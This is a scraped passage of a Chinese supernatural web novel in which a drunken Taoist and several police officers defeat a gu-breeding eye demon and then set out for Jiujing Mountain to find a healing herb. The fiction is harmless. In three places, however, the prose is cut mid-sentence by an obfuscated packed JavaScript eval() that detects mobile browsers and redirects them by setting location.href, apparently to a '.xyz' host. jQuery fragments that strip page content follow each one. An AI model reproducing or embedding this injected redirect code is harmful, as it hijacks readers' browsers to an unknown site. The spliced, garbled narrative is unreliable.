“师姐,我这不是出来的急,忘了嘛。”薛穆冉撕下胡子揣在怀里,又笑了,“师姐,你这样好像电视里的翩翩公子啊,特别是这小胡子,画的太像了。”
原来这几人分别是薛穆冉,田芸淼,萧泰安,还有坚持非要跟过来的周青语。
为首的老者自然就是竹七九,他也撕下胡子,塞进薛穆冉怀里,笑道:“帮我一并留着,下次说不定还用得上。”
“赶紧走吧,等会跟丢了。”萧泰安低声催促。
“我在田云霄身上留了一张符,会吸引这炷香的烟,大家顺着这烟飘的方向,就肯定能找到地方。”竹七九仔细看着这缕青烟的方向,继续带着众人前行。
不一会,几人来到一处独门小院,青烟直直往院内飘。竹七九示意先停下来,他绕到院子后面,翻上院墙,发现庭院内并无月季花。
乌云飘过,月光洒落人间,他再往下看去,原来院内并不是无花,而是那些月季此时都已经焦枯,堆在院子角落里。
他转身招呼其他人。除了周青语体力不行,翻不过来,萧泰安体积过大,容易引起注意,于是让他们二人留在外面支援。
剩余三人轻轻下了院墙,弯腰潜行,走到门口两侧停住。这屋子构造奇特,大概只有三四米宽,左右延伸出来一条木质走廊,通向前院。
通体全白,只有屋顶似乎铺的是红瓦。而且全是木质结构,虽然盖了三层,上下却没有一扇窗户。
此时后门虚掩,似乎在等人进去。
小心翼翼踏上木质走廊,不出意外,发出吱呀一声。竹七九干脆大喇喇推开门进去,刹那间,原本漆黑一片的屋子变得灯火通明,四周亮起无数烛光。
原来屋子四周包括地下都摆满了白色的蜡烛,地上的蜡烛摆成太极图的样子,外侧一圈圈延伸出去。
其中一侧坐着一个盖着白布的人,另一侧,则是一个长发披肩的女子,正挺直脊背端坐在其中。
听见动静,那女子轻轻站起,转过身来,竟然是那日被田云霄在街头调戏的女子。
田芸淼吃了一惊,嘴唇微微张开,想说什么,却什么声音都发不出来。倒是身旁的薛穆冉上前一步问道:“你,你不是那天那个——”
那女孩穿着一席白裙,站在满地烛光中,脸上表情阴晴不定,随着烛光摇动而变换着颜色。
她脚腕处带着一只红绳穿着的金色铃铛,稍微走动就会发出叮铃脆响。脚上什么都没穿,如凝脂一般的双足踩在雪白的地板上,看上去像是一副古画中才有的景象。
26. 第十三章 双瞳之眼
“那天在街上碰到你,也不是偶然吧?”竹七九笑了,上前一步问道:“未请教,请问小姐芳名?”
“宋辞韵,”回答得却是田芸淼,“为什么是你?”
“阿淼,我很感谢你那次在街上救了我,虽然,你也是为了救他。”女孩轻轻避开地上的蜡烛,走到另一侧圈内,掀起那块白布,果然是田云霄。
“能不能——能不能放过他?他只是有点不正经,没有恶意的——”田芸淼带着几分哭腔,请求着。
“你该不会以为,我是因为他当街欺负我,才这样对他的吧?”这位叫宋辞韵的女孩惊讶的看着其他几人,“难道你们也是这样认为的?”
“如果我们答应,放你走,你能保证田云霄不会死吗?”竹七九最先将话题重新拉回,看了眼已经快失控的田芸淼,眼中闪过一丝怜悯。
“当初,我们是这么约定的。”宋辞韵笑了,随即眼神变得冷漠,“可是你们辜负了我的信任,还是跟过来了。”
“只有我们几个,你也得谅解,毕竟我们之间信任度并不高。”竹七九辩解道。
“已经迟了,你们失去这个机会了。”宋辞韵双手一挥,无数黑虫从田云霄眼睛,鼻子,嘴巴,耳朵里钻出,很快在地上聚集一层,蓄势待发。
“你拿他当做你养蛊的容器了?”竹七九眼中添了几分怒意,看着那一地的黑虫,双手悄悄背在身后,掏出一只绢布袋子拿在手上。
对方冷笑一声,也不回答,意念一动,那些黑虫纷纷往竹七九这边飞爬过来。转眼到了脚下,竹七九将手中布袋一挥撒,将一把香灰似的东西扔向那群虫子。
很快,沾到那灰的黑虫纷纷腐烂,变成一堆黑水。趁此机会,三人交换眼神,各自分散开来。
竹七九掏出一张黄符,一根细竹竿,念念有词起来:“天地玄黄,宇宙洪荒。日月盈昃,辰宿列张。赵钱孙李,周吴郑王,冯秦褚卫,姜沈韩杨。太上老君急急如律令!敕!敕!敕!”
一道精光从黄符中发出,附在细竹竿上,变成一柄长剑的模样。挥动竹竿,竹七九笑的有些张扬:“这下就看你我的本事了!”
那女孩哈哈狂笑起来,屋内顿时狂风乱舞,蜡烛灭了一大片,只剩下几根还在苟延残喘。那宋辞韵白裙子逐渐剥离开来,身上雪白的肌肤逐渐腐烂,露出的内里一片漆黑,布满大小不一的凹陷。
地上残余的黑虫爬上她的身体,钻进那些黑洞中。此刻她脸上已经烂了一半,原本光洁无暇的皮肤挂在另外半边脸上,在烛光的照耀下更添几分可怖。
她低吼一声,再不像原先那般婉转动听,变得沙哑无比。很快她的身体开始膨胀,变大,像是充了气的橡皮球似的。
黑色的躯壳变大了一倍,踢翻地上的蜡烛,往竹七九身边走去。趁此机会,田芸淼连同薛穆冉将那依旧昏迷的田云霄救出,往外逃去。
萧泰安听他们说了里面的情况,按着腰间的配枪往屋里冲去。为了今夜行动,他特地带上这把枪。
一进屋内,他立刻被眼前的景象吓得说不出话来。巨大的黑色怪物正追着竹七九不放,所到之处的地板建筑无不腐烂殆尽。
眼看着屋子就要倒塌,他掏出枪往那怪物身上连射几发子弹,那怪物不但毫发无损,反倒丢下竹七九往这边奔来。
萧泰安站在原地动弹不得,经历过战场那么多次生死关头,第一次感到命运的无常与可笑。
“这究竟是什么东西?”他缓缓闭上眼睛,准备赴死。却发现眼前突然红光一片,他睁开眼睛,看见竹七九站在自己身前,手里拿着一柄发着金光的长剑,口里念着什么东西。
那金光越甚,竹七九举起手里的剑,奋力往前刺去。
呲啦——咔啦——
像是大楼倒塌的声音,没等他反应过来,竹七九大喊一声:“快跑!”
那黑色怪物体内金光四射,轰的一声炸成无数碎片,紧接着整座楼房也支撑不住,倾斜开来,转眼间变成一片废墟。
几人瘫坐在院子里,喘着粗气,互相看了一眼都哈哈大笑起来。
这时废墟中传来一阵脆响,一个黑色影子在月色下缓缓钻出,脸上只剩下一颗眼睛,直勾勾盯着竹七九,沙哑着嗓子惨笑起来。
薛穆冉走了过去,站在已经筋疲力尽的两人面前,眼睛盯着眼前的怪物,丝毫不惧。那怪物盯了他一眼,跨起步子往前走着,逐渐散了架,化为一摊灰烬。
月色下,那怪物站的地方闪着一阵微光。竹七九挣扎着起身,走过去,在瓦砾中捡起一粒黑色珠子,借着月光端详半晌,笑道:“这下他有救了。”
田芸淼愣住了,似乎没懂这句话的意思,旁边的周青语笑着点了点她额头,笑道:“你哥哥有救了!傻丫头!”
拿着那颗珠子,竹七九来到田云霄身边,掏出一张黄符贴在他胸口,念了几句口诀。田云霄忽然睁开那双黑漆漆的双眼,黑色纹路顺着那双眼睛已经蔓延到全脸,像是布满了一层蜘蛛网。
将珠子轻轻放进左眼,很快融了进去。亲眼目睹这幅景象的周青语惊得说不出话来,这完全超出了她这么多年学医的理解范畴。
“这——究竟是什么?”她颤声问道。
“算是内丹的一种吧,刚刚那东西可不是人,算是精怪的一种吧,如果我记得不错,应该叫‘瞳人’。看
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988042|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来应该就是她操控人类的身体来养蛊,坐享其成。”
“同仁?是什么啊?”周青语继续询问,今夜她见到太多匪夷所思的东西,此刻忍不住内心的好奇,连连发问。
“瞳孔嘛,就是眼睛,所谓瞳人,就是专门修炼眼睛法术的人。古代有重瞳,双瞳的传说,这你知道吧?”
“是不是项羽那种的?”
“《史记?项羽本纪》中曾记载“吾闻之周生曰,舜目盖重瞳子,又闻项羽亦重瞳子。估计,有可能吧。不过那种历史记载的跟她们修炼的可不是一种。她们想修炼的,可是能见过去未来的‘慧眼’。”
听到这话,薛穆冉扶着队长也走过来,问道:“就上次我们碰见的那个老头吗?你不是说他也是修炼‘瞳术’的吗?”
“那个啊,跟这个又不一样。”竹七九笑了,“那两个主动废去自己的眼睛,修炼瞳术只是为了视物,主要目的还是为了早日得道。但是这个不同,她们养蛊,只是为了修炼这双眼睛。”
“修炼眼睛?又是为了什么呢?”萧泰安也忍不住问道。
“慧眼能看见过去未来,有了这样能力,还有什么做不到?”竹七九看向地上的田云霄,笑道:“看,没事了。”
果然,田云霄脸上黑线已经淡的看不清,双眼也逐渐恢复正常,变得清澈明亮。旁边的田芸淼终于克制不住,落下泪来,是高兴的泪水。
谁知,恢复正常的田云霄转眼又晕了过去。
“没事,带回去休养几天就好了。”竹七九起身拍拍身上的灰尘,冲大家道别:“这事到此为止也算了结了,我也该走了。”
“等等,大师等我!”薛穆冉追了上去,“大师,你准备去哪里?”
“暂时没想好,怎么?你想一起?”
“这倒不是,只是,你就留在彩衣镇呗,以后还能一起喝酒。”薛穆冉不好意思的挠了挠头,“我还想,跟你学两招呢。”
“哈哈,你想学什么?”竹七九掏出酒壶喝了一口,递给对方。
“当然就是你念的那些,百家姓啊!”薛穆冉也喝了一口,只觉得酒香四溢,十分爽口。
“这个啊,到时候再说!”说着自顾自往前走着,“那酒壶给你了,回头打一壶好酒来老地方找我!”
“好嘞!”薛穆冉大声应着,转身往回走着,忽然听见院内传来几声惊呼,慌忙往里跑去。
地上的田云霄已经清醒,正坐着背对着门口。
“怎么了?”薛穆冉见大家面上表情奇怪,忍不住问道。
缓缓走到田云霄正面,只见他一只眼里全是眼白,另一只眼眶里,两只黑色的瞳孔来回转着。
27. 第一章 上山寻药
话说,自从将那内丹放入田云霄左眼内,他那双漆黑的双眸恢复正常不过几分钟,左眼的瞳孔竟然奇迹般的转移到了右眼眶中,引得在场众人纷纷称奇。
“你们怎么都用这种眼神看着我?”田云霄愣住,两只黑色的眼珠子来回转动,看着其他几人。
“我说,你眼睛能不能别看我?”薛暮冉不自觉往后退了一步,手臂上汗毛立起,鸡皮疙瘩起了一片。
“什么啊?”田云霄站起身,低头看了看自己的双手,笑着问道:“我眼睛好了?能看见东西了,而且,变得比以前更好了。”
他跑到院墙外面,四处张望着,大笑道:“我怎么还能看见吞龙桥那边啊,这眼睛跟装了望远镜一样!哎呀,不对,只有右眼能用,左眼怎么还是一片漆黑啊?”
闻言,几人相互对视一眼,也跟着跑出去。
田芸淼急切地问道:“你确定右眼能看那么远吗?你说说吞龙桥那边的情况。”
“你烦不烦?我骗你做什么?”田云霄不耐烦的推开她,继续往前方张望,“那个厢竹酒家,还没关门吗?那胖子老板站在窗户边喝酒呢。唉,旁边还有个要饭的老头,不对,是年轻人,拿着一截竹子在喝酒……”
“那不是大师吗?原来他跑去喝酒了!”薛暮冉笑道,也跑过来,搭着田云霄的肩膀问道:“你再说说,那个要饭的在干什么?”
“他掏出来一张黄纸,递给那个胖子,然后胖老板塞给他一打钱,嘿嘿,这小子真能忽悠!”田云霄转过头,笑着看向薛暮冉,两只眼珠子漆黑如墨。
薛暮冉一愣神,吓得往后跳了一步,尴尬笑道:“我——我一时间有点不适应,得花几天时间习惯才行。”
见众人神色古怪,田云霄也发觉出这双眼睛的不同寻常来。一只仍旧不能视物,而另一只却能夜观十几里地,这根本不是普通眼睛所能做到之事。
“谁有镜子?我想——看看自己的眼睛。”
“哥哥——别看了吧。”
“给我!”
无奈,田芸淼只好掏出一枚圆形小镜子递给他。
借着月光,田云霄转动镜片,看到了自己的眼睛,左边白茫茫一片,只剩下眼白。右边,被两只黑色的瞳孔占据,正诡异的看着镜中的自己。
啪嗒——手一抖,镜子摔在地上。紧接着,田云霄歪歪斜斜倒下去,幸好旁边的薛暮冉眼疾手快,一把揽住他的腰,这才没让他摔在地上。
萧泰安叹了口气,招呼大家先撤离,一切等第二天再做打算。于是,薛暮冉与田芸淼共同搀着失去意识的田云霄,回到了警局大院。
第二天一早,厢竹酒家刚一开门,田芸淼就跑进去搜寻竹七九的身影。果然,在临窗的桌子上,她看见一个穿着邋遢的男人正躺在上面睡觉,呼噜震天响。
站在桌子边,她犹豫了,思考半晌后,决定采用美食战略。她去附近的摊子上买了几份冒着热气的早点,放在旁边的空桌上,并打开包装,让香味散发出来。
果然,没过几分钟,竹七九皱了皱鼻子,喃喃道:“我要吃肉包,不要梅干菜的!”接着翻了个身,迷迷糊糊坐起来。
揉揉眼睛,他才看清面前凳子上坐着的女孩,忍不住笑道:“小田小姐一大早就过来,是有什么指教吗?”
“这倒不是,单纯过来吃个早饭。看你一直在睡觉,也不好打扰你。”田芸淼笑了笑,将隔壁桌的餐点一一拿过来。
竹七九只好翻下桌子,在凳子上坐好,也不客套,直接抽出一双筷子吃起早饭来。
“那个,我哥哥的眼睛——”田芸淼缓缓开口,“变得有些奇怪,你能不能抽时间去看看?”
见她面色凝重,竹七九点了点头:“好,只是,我也不擅长蛊虫那些东西,只怕,也帮不上忙。”
“没,没事,只要你肯去看看就行。”田芸淼低垂的眼睫毛颤了颤,似乎有泪水将要溢出来。
吃完饭,田芸淼奋力蹬着自行车,后座的竹七九感受着清晨的凉风,笑得十分高兴。十来分钟后,他们在警局门口停下。
见到田云霄那双眼睛后,竹七九微微愣了一下,立刻跑过来搬着对方的脸仔细观察,转头笑道:“这可了不得了,你哥哥这是血赚啊!”
“这是——什么意思?”众人不解。
“这可是难得的双瞳之眼,可以媲美千里眼呢!多少人想修炼都练不成的。”
千里眼,难怪昨夜可以从那栋宅院门口看见厢竹酒家的情形。
“可是,这样不是很吓人吗?不能把眼珠子各归各位吗?”薛暮冉直言不讳道。
“各归各位多可惜啊,这可是千里眼哎!”竹七九夸张的叫出声。
一直沉默不语的田云霄忽然开口问道:“我这眼睛,可以穿透墙壁吗?”
竹七九呆了一呆,笑道:“这个嘛,我没试过不知道,不过既然可以看见远处的东西,应该可以穿过阻挡之物吧。对了,你想看什么?”
“这个嘛,”田云霄露出一丝猥琐的笑容,“自然有我的用处。我觉得这样就挺好的,不用各归各位了。”
说完,起身准备走人,却被田芸淼拦住:“你这个人怎么一点都不长进?经历了这件事后还是这么不正经!
“我怎么样,跟你没关系!田云霄冷冷回答,推开面前的女孩,“我是没出息,田家有一个出息的娘子军就行!
“你——”田芸淼被他气得满脸通红,说不出话来。
“不过,我听说有种东西可能,也许可以治好这种后天形成的双瞳之眼。”竹七九笑道,“古书上说,有种仙草叫吉云草,这种草上的露珠会发出五种颜色,光彩照人,可以治百病。只是仙草难得,这五色露珠就更难得了。”
“吉云草?那能在哪里找到?”薛暮冉好奇地询问。
“就在九景山的东边。”
“那不就在彩衣镇南边吗?”众人齐呼。
“对啊,但是现在过去这么多年,也不知道有没有吉云草了,得去碰碰运气。”竹七九掏出酒壶饮了一口,笑嘻嘻的说:“再者,田小哥不是不想回复原样嘛,你们还要去吗?”
“去,肯定得去,不然,还不知道多少良家妇女要遭殃。”田芸淼瞥了打算遁走的哥哥,伸手将其拉住,“这次,一定不给你走了。”
队长萧泰安很慷慨的批了三天假,再让薛暮冉陪同一起去九景山搜寻
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988043|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吉云草。就这样,四人小队结成,打算下午就动身前往九景山。
竹七九笑着摆摆手:“别着急啊,我得准备一些东西,大家也得带些衣服啊,药品类的吧。贸贸然上山,可是很不理智的行为。不说野兽什么的,光是蚊虫就足够吓人了。”
“大师,这蚊子有什么可吓人的啊?”薛暮冉有些不以为然。
“九景山地势较低,有一处很深的湖泊,那附近水汽很重。加上也到了夏天,蛇虫鼠蚁开始出来活动,最好都穿些长袖衣服,带些蚊子水之类的东西比较好。”
“还有这些讲究啊?我们不是过去弄些露水就走吗?”薛暮冉语气轻松,似乎这是一趟快活的旅游。
“反正,言尽于此,你们自己看着办吧。”竹七九也不争论,笑笑,拎着酒壶转身晃悠悠的走了,“明天早上,在警局东边那棵老槐树下碰头吧。”
夜里,竹七九来到一处中药铺,敲了三下柜台,笑道:“小老板,还不出来接客!”
“谁啊,这大晚上的——”内堂传来一句懒洋洋的回话,接着走出来一位穿着灰色长衫的年轻男子,那人一头细碎短发,眉目清朗,脸上像敷了粉似的,莹润洁白,看上去竟然比女子还要美上几分。
“又是你!这次又要准备什么东西?”来人见到竹七九的脸,微微有些怒气。
“哎呀,别这样对我嘛,上次是我不好,大晚上吵醒你给我准备驱虫散。那也是形势所逼,不得已而为之。正所谓,救人一命胜造七级浮屠,对不对?我也是为你积福呀——”
“别跟我扯这些虚头巴脑的东西,我才不会上你的当!”
“小云老板,这次再给我配点一样的药粉吧,我得去趟九景山。”竹七九满脸推笑,十分讨好的模样。
“九景山?那里可是青灵的地盘,你打过招呼了吗?不请自去可是要倒霉的。”这位小云老板一脸的不可置信。
“这个嘛,我自有计划。上次青灵还欠我一个人情没还,这次想来应该也不会太过生气,也是为了救人嘛——”
“又是救人?什么时候变得这么正义凛然了?”小云老板白了他一眼,冷哼一声。
“这个嘛,也是无奈之举,上次没救完全,这次还得再加一把火。正所谓,救人就到底,送佛送到西——”竹七九摇晃着脑袋,一副沉醉其中的样子。
“行了!我真服了你,这次要多少?还是上次的量吗?”似乎已经习惯对方满口胡言,小云老板连出言打断,只想着快些配完药粉,快点打发面前的人离开。
“这次啊,要十倍的量!”竹七九交叉着食指,微微一笑。
“你就是在耍我是不是?”小云老板拿起旁边一杆精巧的小称,直直地敲向面前这个人的脑袋,发出一声闷响。
“最后一次!求你了!”竹七九摸摸额头,又双手合十,请求着这位年轻的药铺老板。
“那也行,不过,我也要你拿一样东西来换。”小云老板狡黠一笑,“那吉云草可是百年难见,你这次去肯定是为了它吧,不管你带回来多少,我要分一半。”
“你也太黑了吧!”
“不然免谈。”
“好吧,成交!”
28. 第二章 羊肠小道
次日清晨,朝阳微微露出半张脸,洒下几束金光。一人抱的老槐树下坐着个衣衫褴褛的男人正在闭目养神,不远处,一对年轻男女兴奋的跑过来,后面还跟着一个戴着鸭舌帽的高个子男人。
“大师,早饭都买好了,我们边走边吃吧。”薛暮冉兴奋地涨红了脸,像是跟家长出去郊游的孩子。
“那好,我们出发——”竹七九大手一挥,指向彩云镇南边。
一行人沿着一条林中小道,慢悠悠的前行。此时太阳已经完全从云层后跳出来,露出自己的全部面容。刺目的阳光像一架巨型加热器,烘烤着众人的脊背,不一会,大家身上都出了汗。
所幸前方不远就是树林深处,借着林荫倒可以避避这毒日头。想到此,几人脚下不自觉加快了几分,往那林中快步走去。
忽然间,走在最前方的竹七九停下脚步,蹲在小路中央,似乎被什么东西吸引了目光。后面三人也走过去,将他围住,一齐看向地面。
原来这条小路中间,摆放着好几双黑色的雨靴,大都已经破烂不堪,沾满漆黑的泥土。
喵呜——
道路两旁杂草丛生,忽的跳出一只毛色全黑的猫,嘴里正叼着一只雨靴。它见到这几个陌生人,往后退了几步,然后颠着爪子,走了几个来回,终于像是下定决心似的,慢慢走过来,放下靴子后立即跳开。
藏进草丛里,见几人没有抓它,胆子也大了几分,又跳回小路中央,将那歪倒在旁边的靴子重新叼住,放到那一堆靴子上方,又在竹七九的脚边蹭了几下,这才转身走了,消失在林中。
“这猫是打算做窝吗?”薛暮冉第一个起身,甩了甩有些麻痹的双腿。
“哼,我看这猫估计是成精了,才会做这种事。”田云霄不屑的哼了一声,也站起来。
竹七九看着这些雨靴,也有些疑惑,刚打算查看一番,旁边的田芸淼也站起来催促:“赶紧走吧,不然天黑也到不了九景山。”
只好放下那只黑靴,竹七九起身拍了拍手,笑道:“也是,正事要紧,先走吧。”
几人继续往前,走在最末的田云霄趁着大家不注意,一脚踢飞了这些靴子,刹那间,黑色的长靴四散在小路四周。
草丛中,一双漆黑的眼珠子正冷冷看着这一切。
暮色四合,矮个子周明洋拎着外卖走进屋内,笑着说道:“我刚刚去摊子上买饭,结果那老板还问我怎么换人了。我说那小姑娘出去旅游了,那老板还当真了,一脸认真的问我,‘警察还能出去旅游啊?给报销吗?’可笑死我了!”
“哈哈哈,平时都是小田去买饭,也难怪那些老板都认识她了。”旁边年长一些的老李拿着一张报纸走过来,笑着回应。
“那老板听说,小田他们去的九景山,可吓了一跳呢,他说那片地方经常有怪东西出现。说得跟真的一样,这老一辈的人就喜欢说这些鬼啊神的传说。”
“这可不是胡说,”年长的左右看了看,确定屋内没有其他人后,这才接着说:“据说九景山里有个精怪修炼成了人形,经常勾引过路的年轻男人。”
“那——长得好看吗?”年轻警员顿时激动起来,“要是好看,我倒是不介意被勾引。”
“你啊,就别想了,看你一脸青春痘,估计女鬼都嫌弃你。”老李笑着拿报纸敲了敲他的头,“再说了,被勾引的男人都会被关在山里,一辈子都出不来了,你想一辈子被那怪物控制啊?”
“要是好看,我倒是无所谓。而且她既然要留我,肯定会给我吃喝,那多爽啊,还不用上班了。”周明洋坐在椅子上,对着一面小镜子扣起痘痘来,忽然又抬头问道:“这到底是真的假的?那薛暮冉那小子会不会被看上?”
“这可说不好,”老李面露担忧之色,“希望他们没事吧——”
“啊——真羡慕他,我也想被女妖勾引啊!”周明洋十分惋惜地叫唤一声。
这时楼上走下来一个窈窕的身影,宽松的白色外套也掩不住她的凹凸有致的身材,正是周青语,她笑着问道:“羡慕什么?你也想跟着他们去九景山一趟?”
两人立刻对视一眼,知道周青语一向讨厌鬼神之说,于是都闭了嘴。
老李笑着转移话题:“这可不是,小周嫌弃警局生活没劲呢。周医生你该好好管管你这个弟弟,不然回头被队长知道了,就该挨批了。”
周明洋自从四年前高中毕业,就来到警局打杂,资历比她这个姐姐还要老。
“你啊,就要萧队长来管管,你才听话。”周青语无奈地看着他,有种恨铁不成钢的意味。
“等啥时候萧队长变成萧姐夫,我就听话了——”周明洋笑着打哈哈,惹来周青语一阵白眼。
这时萧泰安带着其他同事开完会,也都一涌而出,大家拿走自己那份晚饭,各自吃着。萧泰安顺手拿了一份递给周青语,笑道:“刚刚在聊什么呢?听话什么的——”
“没,小孩子胡说呢!”周青语红了脸,接过饭盒到一边默默吃起来。
周明洋看向年长的警员同事,两人忍不住偷偷笑起来。
花开两朵,我们再来看看竹七九这边,经过一整天的长途跋涉,几人终于赶在天黑前来到九景山西北角。
趁着月色,众人分工,很快搭好两个简易的帐篷,又捡了一些干枯的树枝,就地生了火。借着微黄的光芒,田芸淼掏出四个冷掉的馒头,还有一袋吐司面包,分给众人。
捏着硬邦邦的馒头,田云霄率先表示不满:“这什么啊?就给我吃这个?我看见你包里还放了好几块云片糕,我要吃那个。”
“那个留着明天吃,今晚先凑合吧。”田芸淼又掏出三瓶水,分给几人。
又来回争辩了几句,田云霄才安静下来,恶狠狠啃了一口冷馒头,借着矿泉水才咽下去。竹七九笑了笑,掏出一瓶辣椒酱,问道:“要不,试试这个?蘸着吃还不错。”
“你怎么不早说?”田云霄有些不满,接过辣椒酱涂满馒
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988044|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头表面,大口大口吃起来。
其他几人也都蘸了一些,吃完后,刚准备休息,竹七九建议留下一人守夜。刚好只有两个帐篷,女孩自然要独自睡一个,另一个也挤不下三个大男人。
见状,田芸淼提出,她来守夜,让三个男人去休息。田云霄自然没有异议,打着哈欠就钻进帐篷里,不一会,里面传来阵阵鼾声。
竹七九无奈地笑笑:“反正,怎么着都不能让女孩子单独守夜。倒不是我有绅士风度,只是,我担心自己的安全。你们俩先睡吧,等我困了,再跟你们换。”
田芸淼有些不快,但是也无法,只好也进了帐篷休息。倒是薛暮冉有些嫌弃那丝毫没有自觉的田云霄,低声抱怨道:“他倒是睡得香,我才不想跟他一起挤一个帐篷。”
“那你守夜,我先去睡觉?”竹七九笑着建议。
“别啊,大师,你跟我讲讲你的故事呗。”
“我能有什么故事。”
“你的过去啊,你这套法术,怎么学的啊?能不能教我啊?为什么会有这么多奇奇怪怪的东西啊?神话里说的都是真的吗?”一连串的问题不断蹦出来,这时身后的帐篷传来翻身的声音。
紧接着田云霄低吼一声:“大晚上的,能不能安静会?”
竹七九伸出食指放在嘴唇前,嘘了一声,低声道:“我去尿尿,你先看着。等他们睡熟了再说,昂——”
像哄孩子似的,他起身往树林深处走去。圆月高悬,快到十五了。
薛暮冉躺在草地上,看着圆盘似的月亮,忽然有些感慨。来到彩衣镇已经三个多月,一直相安无事。
直到最近那些奇事的出现,让原本平平静静的日子被活生生撕了一道口子,无数原本只存在小说中的东西不断涌入。世界正播放着大喇叭,告诉你人类可以成仙成魔,可以养蛊虫,可以伸出奇怪的触手。
“这都什么乱七八糟的!”他对着月亮,喃喃一句。
今夜的月亮还不是太圆润,右下角似乎缺了一小块。圆盘中央有些黑色斑块,他想起以前曾经听奶奶说起过,那里是嫦娥居住的宫殿。上面还有一棵巨大的月桂树,有个叫吴刚的神仙天天拿着斧头在砍树。
咚——咚——玄铁制成的斧头一下一下砍在坚硬的树干上,只留下浅浅的痕迹。所以砍了几万年,那棵月桂树依旧笔直的立在月宫中央。
叮——叮当当——清脆的铃音响起,在夜空中闪过一道碧青色的影子。
薛暮冉连忙坐起身,四处观望,远处的树枝上坐着一个赤着脚的女子,青色的裙摆随风飘动,纤细的手腕搭在旁边的树干上,露出一截玉藕似的胳膊。
女子轻轻一跃,落在地上,耳畔坠着两只小铃铛,随着她的步伐发出清脆的声响。月光下,终于看清眼前女子的模样。柳叶细眉,目如春杏,行动之处,一股清新宜人的气息扑面而来。
满头青丝高高挽起,泛着阵阵淡绿色光芒,正是那夜与面具男缠斗之人——青灵。
29. 第三章 山中小妖
青灵款款而来,绿色的连衣纱裙扫过地上的青草,白皙的双足若隐若现,整个画面说不出的诡异。
“你——你是谁?是人是鬼?”薛暮冉退后一步,大声问道。
“你猜呢?”声音清脆动人,伴随着阵阵铃音,说不出的诱惑。
“你——大晚上的,一个女孩子在这里做什么?”
“你再猜猜?”
微风掠过,青草被吹弯了腰,缝隙中露出一圈黄色的粉末,阵阵悠远的气息顺着细细的风被卷着飘进上空。女子一惊,双手一挥,那些粉末又重新落下,藏进杂草丛中。
“这些,是你做的?”女子微微皱眉,好看的眼睛也带了几分惊讶。
薛暮冉以为对方指的是身后这些帐篷,展颜笑道:“可不是我嘛,累了好一会才搞成功了。”
“你究竟是什么来头?”青灵往后退了几步,低声问道。
“我?我是——对了,你还没回答我的问题呢。”薛暮冉反应过来,换上一副得意的样子,反客为主起来。
“你可以,叫我青灵,青色的青,灵魂的灵。”女子回答,“你该回答我的问题了。你又是谁。”
“我叫薛暮冉,额,就这三个字。”他找了一截短树枝,在地上写起来,“看得清吧,我是彩衣镇上的警察。”
“那你来这里做什么?”
“我朋友眼睛——受伤了,听说这里的什么草上的露水可以治疗,我们就来了。”薛暮冉实话实说,丝毫没有隐瞒。
“你们想打吉云草的主意?”青灵神色一惊,“不想活了吗?”
“不就,搞点草上的露水嘛,有这么严重?”薛暮冉有些奇怪,看了眼帐篷中熟睡的兄妹俩,心底也升起一股担忧。
这时,林中响起一阵不着调的歌声:“我本山中一小道,自在又逍遥——”
青灵一听这声音,心下也明白几分,光着脚往后退着,忽然踩到一块尖锐的石子,一下子吃痛没站稳,险些摔倒。
薛暮冉快步上前扶住她,笑道:“我说着大晚上的不穿鞋,肯定硌脚吧。”
“想吃吃得饱——想喝喝的好——”歌声愈近,青灵推开薛暮冉,往另一个方向跑开,转眼没了踪影。
没过一会,竹七九从林子中走出来,喝着小酒,东倒西晃的唱着小曲儿,一副逍遥自在的模样。薛暮冉连忙上前扶住他,笑道:“你是去放水还是喝水去的?”
“这是喝酒,可不是喝水——”竹七九往地上一倒,喃喃道:“我先睡会,你等会叫我。”接着以胳膊为枕头,呼呼大睡起来。
薛暮冉无奈地笑笑,坐在火堆边,无聊的拨动着烧红的树枝,脑中不断回放着刚刚与那青衣女子说话的场面。那种意犹未尽的酸涩感充斥着他的心房,让他对面前这片黑暗,隐隐有了某种期待。
朦朦胧胧中,他看见一抹淡青色的影子在草丛中跳着舞,清脆的铃铛声响伴随着女子咯咯娇笑,像是来自天边的音乐,让他整颗心脏随之震颤。
滴答——后背一阵刺骨阴寒,他猛地惊醒,原来刚刚的一切不过是场虚梦。
一抬头,竹七九正站在他身边仰着头喝酒,洒出来的酒水顺着竹筒滴在他脖子上,一路往下溜进后背,这才扰了这场美梦。
“大师,你昨晚喝那么多还能醒的这么早啊?”薛暮冉打着哈欠,起身活动筋骨。一夜的端坐姿势,让他浑身都酸痛不已。
“美酒养人,虽然我喝得多,但是精神依旧好。”竹七九哈哈一笑,指着后面的帐篷,“快去叫醒他们,我们要进山了。”
